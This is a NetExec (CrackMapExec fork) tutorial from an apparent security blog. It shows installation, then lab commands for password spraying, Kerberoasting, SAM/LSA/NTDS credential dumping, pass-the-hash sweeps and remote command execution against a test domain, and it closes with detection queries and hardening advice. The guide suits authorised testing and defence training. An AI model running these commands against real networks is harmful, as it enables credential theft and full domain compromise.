NetExec (CrackMapExec) Tutorial 2026: Install & Active Directory Enumeration Complete Guide

·

NetExec — invoked as nxc — is the community fork of the archived CrackMapExec project, and it is the single most-used tool for sweeping an Active Directory network at scale. One command validates a credential against every host, lists shares, dumps users, sprays passwords, and drops SecretsDump across a whole subnet.

This guide installs it three ways (pipx, Docker, Kali apt), walks the full enumeration-to-post-exploitation workflow across SMB, LDAP and WinRM against a lab domain, and — because CyberHawk is a blue-team shop first — closes with the Windows Event IDs, KQL and SPL that turn every one of these commands into an alert. Everything here is for authorised testing on systems you own or are contracted to assess.

◈ Table of Contents

01 What NetExec Is & Why It Matters 02 Prerequisites & Lab Requirements 03 Method 1 — pipx (Recommended) 04 Method 2 — Docker & Compose 05 Method 3 — Kali apt & Source 06 First Run & Core Concepts 07 SMB Enumeration 08 LDAP, AD & Password Spraying 09 Credentials, Exec & Modules 10 Detection & Troubleshooting 11 Sources & References
🦅

01 · What NetExec Is & Why It Matters

Foundation

NetExec is a network-execution toolkit that speaks the protocols an AD network runs on and does the same thing over every one of them: authenticate, enumerate, and — where you have rights — execute. It began life as CrackMapExec (CME); understanding that lineage matters because half the tutorials still online reference commands that no longer work.

1
From CrackMapExec to NetExec
History

CrackMapExec was created by byt3bl33d3r and became the de-facto AD swiss-army knife. In 2023 the original repository was archived and development stopped. The community forked it, rewrote large parts of the engine, and released it as NetExec under the Pennyw0rth GitHub organisation. The binary changed from crackmapexec/cme to netexec/nxc. If a walkthrough tells you to run cme smb ..., mentally translate it to nxc smb ... — the syntax is deliberately backward-compatible, but the project, bug fixes and new protocols all live in NetExec now.

On Kali the crackmapexec package is now a transitional shim that pulls in NetExec. Standardise on nxc in your notes and scripts — CME will not receive protocol updates such as the newer LDAP channel-binding and SMB signing checks.

2
Protocols & Core Capabilities
Scope

NetExec is invoked as nxc <protocol> <target> <options>. The protocol you pick decides the port and the module set available. The table below is the map you will return to constantly.

ProtocolPortPrimary use
smb445Host discovery, shares, users, sessions, spraying, command exec, SecretsDump
ldap389 / 636Domain objects, Kerberoasting, AS-REP roasting, BloodHound ingestor, delegation
winrm5985 / 5986Remote PowerShell execution, credential validation
mssql1433SQL auth, xp_cmdshell exec, linked-server abuse
ssh22Linux credential validation and command exec
wmi135WMI query and exec where SMB exec is blocked
rdp / ftp / vnc / nfsvariousCredential validation, screenshotting, share/exports enumeration

Every protocol shares a common credential engine: pass a username with a password (-p), an NT hash (-H), or a Kerberos ticket (-k), point it at one host or a whole CIDR range, and NetExec marks each result [+] success, [-] failure, or with a (Pwn3d!) tag when the credential grants admin.

Why a defender should care enough to run it in a lab:

🎯

SEE YOUR ATTACK SURFACE

The output of nxc smb across your own domain is exactly what an attacker sees on day one: SMB signing gaps, null sessions, over-shared folders.

🔍

BUILD DETECTIONS

Running the tool in a lab lets you capture the telemetry it generates so you can write and tune the Sentinel/Splunk rules in Phase 10.

🔑

FIND WEAK CREDS

Password-spray auditing against your own AD surfaces the accounts still using Season2026! before a real adversary does.

📋

VALIDATE HARDENING

Re-running the same commands after a hardening sprint proves SMB signing, LDAP binding and LAPS actually took effect.

AUTHORISATION: NetExec authenticates, sprays and executes code on remote hosts. Running it against systems you do not own or lack written permission to test is a criminal offence in most jurisdictions. Build the lab in Phase 2 and stay inside it.

🧰

02 · Prerequisites & Lab Requirements

Setup

NetExec runs from a Linux attack host against a Windows AD environment. If you followed the CyberHawk Active Directory Home Lab guide you already have everything you need; if not, the minimum viable range is one Domain Controller and one domain-joined workstation.

ComponentMinimumNotes
Attack hostKali 2026.x / Ubuntu 24.04 recPhysical, VM or WSL2 — needs L2/L3 reach to the target subnet
Python3.9+ (3.11+ recommended)NetExec targets modern Python; pipx isolates it cleanly
RAM / CPU4 GB / 2 vCPU min8 GB comfortable when BloodHound/Neo4j also run
Lab DCWindows Server 2019/2022Promoted to a domain, e.g. cyberhawk.lab
Lab memberWindows 10/11Domain-joined; gives you lateral-movement targets
NetworkHost-only / internalIsolate the lab; never bridge attack tooling to a production LAN
3
Confirm Reachability & Note Your Targets
Pre-flight

Before installing anything, confirm the attack host can see the domain. Identify the DC IP, the domain FQDN, and the subnet. Throughout this guide the lab uses DC 192.168.56.10 (DC01.cyberhawk.lab), a member at 192.168.56.20, and the subnet 192.168.56.0/24.

Terminal · reachability check
# Confirm the DC responds and SMB (445) / LDAP (389) are open $ ping -c2 192.168.56.10 $ nc -zv 192.168.56.10 445 389 5985 # Point DNS at the DC so FQDNs and Kerberos resolve later $ echo "192.168.56.10 DC01.cyberhawk.lab cyberhawk.lab" | sudo tee -a /etc/hosts

Kerberos is time-sensitive. If clock skew between your attack host and the DC exceeds five minutes, ticket-based auth (-k) and roasting will silently fail. Sync with sudo ntpdate 192.168.56.10 or sudo timedatectl set-ntp true.

📦

03 · Method 1 — pipx (Recommended)

Install A

pipx is the officially recommended install path. It drops NetExec into its own isolated virtual environment while exposing the nxc command globally, so it never collides with system Python packages — the classic cause of a broken CrackMapExec install.

4
Install pipx and System Dependencies
Prep

NetExec compiles a couple of native crypto dependencies, so install the build toolchain first, then pipx itself, then make sure pipx's bin directory is on your PATH.

Terminal · Debian / Kali / Ubuntu
$ sudo apt update && sudo apt install -y python3-pip pipx git \ build-essential libssl-dev libffi-dev python3-dev $ python3 -m pipx ensurepath # Reload the shell so the new PATH takes effect $ source ~/.bashrc
5
Install NetExec from the Git Repository
Install

Installing straight from Git gives you the latest tagged release with all current protocol modules. The first run also seeds the config directory.

Terminal · install
$ pipx install git+https://github.com/Pennyw0rth/NetExec.git # Verify — should print the version banner and exit $ nxc --version $ nxc smb --help | head -n 20

Keep it current with a single command: pipx upgrade netexec. NetExec ships fixes frequently — re-run this before any engagement so signing/binding detection logic is up to date.

6
First Invocation & Config Directory
Verify

The first time you run any protocol, NetExec creates ~/.nxc/ containing the config file, the workspace SQLite databases, logs, and downloaded loot. Confirm it exists — this is where all your enumeration results are persisted.

Terminal · config layout
$ nxc smb 192.168.56.10 $ ls -la ~/.nxc/ # nxc.conf workspaces/ logs/ modules/ ...
Method 1 complete when
  • nxc --version prints a version without a traceback
  • nxc smb 192.168.56.10 returns a host line with the OS and domain
  • ~/.nxc/ exists with nxc.conf inside
🐳

04 · Method 2 — Docker & Compose

Install B

Docker is the cleanest option when you do not want any Python toolchain on the host, or you are running NetExec from a jump box / CI runner. The project ships a Dockerfile based on a slim Python image; you build it once and run disposable containers.

7
Build the Image from Source
Build

Clone the repository and build. The build installs the native crypto and Rust dependencies inside the image so your host stays clean.

Terminal · build
$ git clone https://github.com/Pennyw0rth/NetExec.git $ cd NetExec $ docker build -t netexec:latest .
8
Run with Persistent Loot & Host Networking
Run

Two flags matter: bind-mount ~/.nxc so your workspace database and dumped hashes survive the container, and use host networking so scans see the lab subnet directly.

Terminal · disposable run
$ docker run --rm -it --network host \ -v $HOME/.nxc:/root/.nxc \ netexec:latest smb 192.168.56.10 # Optional convenience alias so you can just type `nxc ...` $ echo 'alias nxc="docker run --rm -it --network host -v $HOME/.nxc:/root/.nxc netexec:latest"' >> ~/.bashrc
9
docker-compose.yml for a Repeatable Setup
Compose

If you run NetExec routinely, a compose file pins the build context, volume and network so a teammate reproduces your exact setup with one command. Save this as docker-compose.yml.

docker-compose.yml
services: netexec: build: . image: netexec:latest container_name: netexec network_mode: host volumes: - ./loot:/root/.nxc entrypoint: ["nxc"] stdin_open: true tty: true
Terminal · run via compose
$ docker compose build $ docker compose run --rm netexec smb 192.168.56.0/24

Host networking is required for subnet sweeps but exposes the container to your host's network stack. On a shared box, drop --network host, publish nothing, and target single IPs over a routed bridge instead.

🐧

05 · Method 3 — Kali apt & Building from Source

Install C

If you are on Kali or Parrot, the distro packages NetExec directly — the fastest possible install. Building from source with Poetry is the path for contributors or anyone who needs an unreleased fix from the main branch.

10
Install the Distro Package
apt

One command on Kali/Parrot. The package name is netexec; the legacy crackmapexec package now pulls it in as a dependency.

Terminal · Kali / Parrot
$ sudo apt update && sudo apt install -y netexec $ nxc --version

Distro packages can lag the upstream release by weeks. For anything time-sensitive (fresh protocol module, LDAP signing fix), prefer the pipx-from-git install in Method 1 and keep apt as a fallback.

11
Build from Source with Poetry
Source

Poetry manages the project's dependencies in a virtualenv and lets you run the exact checked-out code. Use this when you want the bleeding-edge main branch or intend to write your own module.

Terminal · Poetry build
$ git clone https://github.com/Pennyw0rth/NetExec.git && cd NetExec $ python3 -m pip install poetry $ poetry install # Run inside the Poetry-managed environment $ poetry run nxc smb 192.168.56.10
Any method complete when
  • nxc resolves on your PATH (or via the alias / poetry run)
  • a plain nxc smb <DC-IP> returns the host banner line
  • you have chosen ONE method and will not mix them (avoids PATH confusion)
⚙️

06 · First Run & Core Concepts

Fundamentals

Before firing commands at the domain, internalise four things: the command grammar, how targets are specified, how credentials are supplied, and how NetExec stores what it finds. Get these right and every later command is just a variation on a theme.

The loop that makes NetExec dangerous: every credential you loot feeds straight back into the next sweep.
12
Target Specification
Grammar

The target argument accepts a single IP, a hostname, a CIDR range, a dashed range, or a file of targets — one per line. Sweeping the whole subnet in a single command is the entire point of the tool.

Terminal · target forms
$ nxc smb 192.168.56.10 # single host $ nxc smb 192.168.56.0/24 # whole subnet $ nxc smb 192.168.56.10-40 # dashed range $ nxc smb targets.txt # file, one target per line
13
Credential Forms & the Pwn3d! Marker
Auth

Supply local or domain creds with -u plus one of: -p (password), -H (NT hash, for pass-the-hash), or -k (Kerberos). Add -d cyberhawk.lab for domain auth, or --local-auth for local accounts. When a credential is a local administrator on the target, NetExec appends the coveted (Pwn3d!) tag.

Terminal · credential forms
# Domain password auth $ nxc smb 192.168.56.0/24 -u jdoe -p 'Autumn2026!' -d cyberhawk.lab # Pass-the-hash (NT hash after the colon of an LM:NT pair, or NT alone) $ nxc smb 192.168.56.0/24 -u Administrator -H aad3b4...:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth # Kerberos with a ticket from the environment (KRB5CCNAME) $ nxc ldap DC01.cyberhawk.lab -k --use-kcache

-u users.txt -p passwords.txt tries every combination by default. To spray one password across many users instead — the safe, lockout-aware pattern — add --no-bruteforce so NetExec pairs line 1 with line 1, line 2 with line 2.

14
Workspaces & the Loot Database
State

Everything NetExec learns — hosts, credentials, shares, dumped hashes — is written to a per-workspace SQLite database under ~/.nxc/workspaces/. Create one workspace per engagement so results never bleed between clients, and query them later with nxcdb.

Terminal · workspace management
$ nxc -h | grep -A2 workspace $ nxcdb nxcdb> workspace create cyberhawk_engagement nxcdb> workspace cyberhawk_engagement nxcdb (cyberhawk_engagement)> proto smb nxcdb (cyberhawk_engagement)(smb)> creds # list every credential looted so far
🗂️

07 · SMB Enumeration

Core Recon

SMB is where every AD assessment starts. Even with no credentials you can map the network, and with a single low-privileged account you can enumerate the entire directory. Work through these in order.

15
Host Discovery & Signing Posture
Unauth

A bare nxc smb against a range fingerprints every live host: hostname, OS build, domain, SMB version, and — critically — whether SMB signing is required. Hosts with signing disabled are relay targets.

Terminal · sweep
$ nxc smb 192.168.56.0/24 # Filter the whole subnet to only signing:False hosts (relay candidates) $ nxc smb 192.168.56.0/24 --gen-relay-list relay_targets.txt

--gen-relay-list writes a ready-made target file for ntlmrelayx. That single flag is why SMB signing "not required" is a finding worth flagging in every report.

16
Null & Guest Session Checks
Unauth

Before you have any credentials, test whether the target allows anonymous (null) or guest access. A permissive null session can leak the user list and password policy — everything you need to build a spray.

Terminal · anonymous access
# Null session: empty user and password $ nxc smb 192.168.56.10 -u '' -p '' --shares # Guest access with any username and a blank password $ nxc smb 192.168.56.10 -u 'guest' -p '' --users
17
Enumerate Shares & Read Permissions
Auth

With a valid credential, list every share and the READ/WRITE permission your account holds on each. Over-shared folders (finance, IT, backups) are where credentials and sensitive data leak.

Terminal · shares
$ nxc smb 192.168.56.0/24 -u jdoe -p 'Autumn2026!' --shares # Recursively spider readable shares for interesting files (module) $ nxc smb 192.168.56.20 -u jdoe -p 'Autumn2026!' -M spider_plus -o DOWNLOAD_FLAG=True
18
Users, Groups & Password Policy
Auth

Pull the domain user list, group memberships and the password policy over SMB. The policy tells you the lockout threshold — the number that decides how aggressively you can spray without locking accounts.

Terminal · directory objects
$ nxc smb 192.168.56.10 -u jdoe -p 'Autumn2026!' --users $ nxc smb 192.168.56.10 -u jdoe -p 'Autumn2026!' --groups $ nxc smb 192.168.56.10 -u jdoe -p 'Autumn2026!' --pass-pol # Who is logged on where — maps admins to workstations for lateral movement $ nxc smb 192.168.56.0/24 -u jdoe -p 'Autumn2026!' --loggedon-users

--users shows the badPwdCount per account. If you see counts already climbing, someone else is spraying — or your own earlier attempts are stacking. Read the lockout threshold from --pass-pol BEFORE you spray or you will lock the domain.

🌳

08 · LDAP, AD & Password Spraying

Deep AD

The LDAP protocol unlocks the richest Active Directory data: Kerberoastable service accounts, AS-REP-roastable users, delegation misconfigurations, and a one-command BloodHound ingest. This is where NetExec turns from a scanner into an attack-path finder.

19
Password Spraying (Lockout-Aware)
Cred Access

Take the user list from Phase 7, pick one likely password below the lockout threshold, and spray it across all of them. --continue-on-success keeps going after the first hit so you find every reused password, not just the first.

Terminal · spray
# One password, every user — the safe direction $ nxc smb 192.168.56.10 -u users.txt -p 'Autumn2026!' \ --continue-on-success # Confirm found creds are valid over LDAP and WinRM too $ nxc ldap 192.168.56.10 -u users.txt -p 'Autumn2026!' --continue-on-success

Spraying is the single most common way to lock out a production domain and trigger a SOC callout. Space attempts across the observation window, stay two attempts below the lockout threshold, and never spray more than one password per window.

20
Kerberoasting & AS-REP Roasting over LDAP
Cred Access

NetExec asks the DC for service tickets on every account with an SPN (--kerberoasting) and for AS-REP hashes on every account with pre-auth disabled (--asreproast). Both output hashes ready for offline cracking with Hashcat.

Terminal · roasting
$ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' \ --kerberoasting kerb_hashes.txt $ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' \ --asreproast asrep_hashes.txt # Crack the TGS-REP hashes (mode 13100) or AS-REP (mode 18200) $ hashcat -m 13100 kerb_hashes.txt rockyou.txt

See the CyberHawk Kerberoasting Explained and Hashcat guides for the cracking and defence side. NetExec is the collection step; Hashcat is the crack step.

21
Delegation, gMSA & Machine Account Quota
Enum

Three high-value LDAP checks feed classic escalation paths: accounts trusted for delegation, readable gMSA passwords, and the domain's machine-account quota (a non-zero MachineAccountQuota enables the noPac / RBCD chains).

Terminal · misconfig hunting
$ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' --trusted-for-delegation $ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' --gmsa $ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' -M maq
22
One-Command BloodHound Collection
Attack Paths

The built-in BloodHound ingestor collects the whole graph over LDAP without dropping SharpHound on a host — quieter and cross-platform. Feed the resulting JSON straight into BloodHound CE.

Terminal · bloodhound ingest
$ nxc ldap 192.168.56.10 -u jdoe -p 'Autumn2026!' \ --bloodhound --collection All --dns-server 192.168.56.10 # Output ZIP lands in ~/.nxc/logs/ — import into BloodHound CE

Pair this with the CyberHawk BloodHound CE Setup guide: nxc collects, BloodHound maps the shortest path from jdoe to Domain Admin.

💥

09 · Credentials, Execution & Modules

Post-Exploit

Once a credential returns (Pwn3d!) on a host, NetExec becomes a post-exploitation platform: dump secrets, execute commands, and load modules for specific attacks — all across the whole subnet at once.

23
Dump SAM, LSA & Cached Credentials
Cred Access

With local admin, dump the local SAM hashes, LSA secrets, and cached domain logons. Do it across the whole subnet in one command to harvest every local-admin hash for reuse.

Terminal · secrets
$ nxc smb 192.168.56.0/24 -u Administrator -p 'P@ssw0rd!' --local-auth --sam $ nxc smb 192.168.56.20 -u Administrator -p 'P@ssw0rd!' --local-auth --lsa

Dumping SAM/LSA touches LSASS and the registry hives — this is the loudest thing NetExec does and the easiest for EDR to catch. Expect Microsoft Defender for Endpoint to fire on --lsa against a monitored host.

24
Dump NTDS.dit from the Domain Controller
Full Compromise

With Domain Admin (or equivalent) rights on the DC, --ntds extracts every domain credential hash from the directory database. This is game-over for the domain and the highest-severity action in this guide.

Terminal · NTDS
$ nxc smb 192.168.56.10 -u Administrator -p 'DA_P@ss!' -d cyberhawk.lab --ntds # Add --user to pull a single account instead of the whole directory $ nxc smb 192.168.56.10 -u Administrator -p 'DA_P@ss!' --ntds --user krbtgt
25
Pass-the-Hash Across the Subnet
Lateral

The hashes from step 23 don't need cracking. Feed an NT hash back with -H and spray it across the network to find every host where that local-admin hash is reused — the essence of lateral movement.

Terminal · pass-the-hash sweep
$ nxc smb 192.168.56.0/24 -u Administrator \ -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth # Any host tagged (Pwn3d!) shares that local-admin password hash

Reused local-admin hashes are exactly what Microsoft LAPS eliminates. If this sweep lights up multiple hosts, "deploy LAPS" writes itself as the top report remediation.

26
Command Execution
Exec

On a Pwn3d host, run commands with -x (cmd) or -X (PowerShell). NetExec picks an execution method (wmiexec, smbexec, atexec) automatically, or you can force one with --exec-method.

Terminal · exec
$ nxc smb 192.168.56.20 -u Administrator -p 'P@ssw0rd!' --local-auth \ -x 'whoami /all' $ nxc smb 192.168.56.20 -u Administrator -p 'P@ssw0rd!' --local-auth \ -X 'Get-Process' --exec-method smbexec # WinRM is often cleaner than SMB exec where 5985 is open $ nxc winrm 192.168.56.20 -u Administrator -p 'P@ssw0rd!' -x 'ipconfig /all'
27
Modules — Targeted Attacks & Vuln Checks
-M

Modules extend each protocol. List them with -L, then load one with -M. Several map to well-known, NVD-tracked vulnerabilities and safely check exposure before any exploitation.

Terminal · modules
$ nxc smb -L # list every SMB module $ nxc smb 192.168.56.0/24 -M zerologon # CVE-2020-1472 exposure check $ nxc smb 192.168.56.0/24 -M ms17-010 # CVE-2017-0144 (EternalBlue) check $ nxc smb 192.168.56.10 -u jdoe -p 'Autumn2026!' -M nopac # CVE-2021-42278 check
ModuleVulnerabilitySeverity
zerologonCVE-2020-1472 — Netlogon EoPCVSS 10.0
ms17-010CVE-2017-0144 — EternalBlue SMBv1 RCECVSS 8.8
nopacCVE-2021-42278 — SAM name spoofingAD EoP
spider_plusRecursive share content discoveryrecon

The exploitation forms of zerologon and nopac can leave the target in a broken state (Zerologon resets the DC machine password). Use the check-only mode in a lab you can rebuild — never the destructive path on anything you cannot restore.

🛡️

10 · Detection & Troubleshooting

Blue Team

Everything above generates telemetry. This is the section that matters most to a SOC: the Windows events NetExec leaves behind, the KQL and SPL to catch them, and the errors you will hit along the way.

28
The Events NetExec Leaves Behind
Telemetry

Password spraying, remote exec and credential dumping each produce distinct Windows Security events. Learn these IDs and the tool's default fingerprints become trivial to alert on.

Event IDSignalWhich NetExec action
4625Failed logon (bursts)Password spray — many users, one source, tight window
4624 (Type 3)Network logon successSuccessful auth / PtH across many hosts from one IP
4672Special privileges assignedAdmin logon preceding a dump or exec
7045 / 4697Service installedsmbexec / atexec creates a temporary service
4768 / 4769Kerberos TGT / TGS requestKerberoasting (4769 with RC4) & AS-REP roasting
29
Detect Password Spraying — KQL & SPL
Detection

The clearest NetExec fingerprint is one source IP failing to authenticate against many distinct accounts inside a short window. Alert on the distinct-user count, not the raw failure count.

DETECTS: one source address generating failed logons (4625) against many distinct accounts in 10 minutes — the spray signature.
KQL · Microsoft Sentinel
SecurityEvent | where EventID == 4625 | summarize FailedAccounts = dcount(TargetUserName), Accounts = make_set(TargetUserName, 50) by IpAddress, bin(TimeGenerated, 10m) | where FailedAccounts >= 10 | order by FailedAccounts desc
SPL · Splunk
index=wineventlog EventCode=4625 | bin _time span=10m | stats dc(Account_Name) as failed_accounts values(Account_Name) as accounts by src_ip, _time | where failed_accounts>=10 | sort - failed_accounts
30
Detect Remote Exec & Credential Dumping — KQL & SPL
Detection

NetExec's exec methods install a short-lived service (event 7045) with a randomised name and a cmd.exe /c or PowerShell command line. That service-creation pattern is a high-fidelity signal.

DETECTS: service-install events whose image path launches cmd/PowerShell — the smbexec/atexec fingerprint.
KQL · Microsoft Sentinel
SecurityEvent | where EventID == 7045 | where ServiceFileName has_any ("cmd.exe /c", "powershell", "%COMSPEC%", "echo") | project TimeGenerated, Computer, ServiceName, ServiceFileName, AccountName
SPL · Splunk
index=wineventlog EventCode=7045 (Service_File_Name="*cmd.exe /c*" OR Service_File_Name="*powershell*" OR Service_File_Name="*%COMSPEC%*") | table _time, ComputerName, Service_Name, Service_File_Name, Account_Name

Correlate a 4625 spray, a following 4624 Type 3 from the same IP, and a 7045 on the target within minutes — that triad is a NetExec lateral-movement chain and deserves an incident, not just an alert.

31
Common Errors & Fixes
Troubleshooting

Most NetExec failures come down to name resolution, clock skew, or protocol hardening rather than the tool itself. Work this table top to bottom.

SymptomLikely causeFix
STATUS_NOT_SUPPORTED on authNTLM disabled / SMB signing or sealing mismatchUse Kerberos (-k) with a resolvable FQDN target
KRB_AP_ERR_SKEWClock skew > 5 min vs DCsudo ntpdate <DC-IP> then retry
Roasting returns nothingUsing IP instead of FQDN; DNS not set to DCTarget DC01.cyberhawk.lab, add DC to /etc/hosts & resolv.conf
nxc: command not foundpipx bin dir not on PATHpipx ensurepath then re-open the shell
Connection refused / timeoutHost firewall or wrong subnetConfirm port with nc -zv; check host-only network routing
LDAP bind fails, SMB worksLDAP channel binding / signing enforcedUse ldaps (636) or Kerberos; note it as a hardening win

Add --verbose (or --debug) to any command to see the raw protocol exchange. It turns a cryptic one-line failure into the exact packet that broke.

Hardening takeaways from this walkthrough
  • Require SMB signing everywhere — kills the relay-list generation and relay attacks
  • Deploy LAPS — kills the pass-the-hash reuse sweep in step 25
  • Disable NTLM where possible; enforce LDAP signing + channel binding
  • Alert on the 4625 spray → 4624 Type3 → 7045 triad in your SIEM
  • Patch Zerologon (CVE-2020-1472), noPac (CVE-2021-42278) and retire SMBv1 (CVE-2017-0144)
📚

11 · Sources & References

Verify

Primary documentation and the CVE records for every module referenced above. Always cross-check tool behaviour against the current upstream docs — NetExec ships changes frequently.

NetExec — Official GitHub Repository (Pennyw0rth) NetExec Wiki — Installation, Protocols & Modules NetExec Wiki — SMB Enumeration Reference NVD — CVE-2020-1472 (Zerologon, CVSS 10.0) NVD — CVE-2021-42278 (SAM name spoofing / noPac) NVD — CVE-2017-0144 (EternalBlue / MS17-010) Microsoft — Windows LAPS Overview (local-admin hash reuse mitigation) MITRE ATT&CK — Credential Access (TA0006)

Run it against your own domain first. The fastest way to understand what an attacker sees is to point nxc smb at your lab and read the output like a report. Then head to the CyberHawk Blog for the companion guides — Active Directory Home Lab, BloodHound CE, Kerberoasting and Hashcat — and turn this enumeration workflow into a full attack-path exercise.

Need the detections production-ready? The CyberHawk SOPs cover NTLM relay, LDAP enumeration and lateral-movement response with tuned KQL and SPL.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."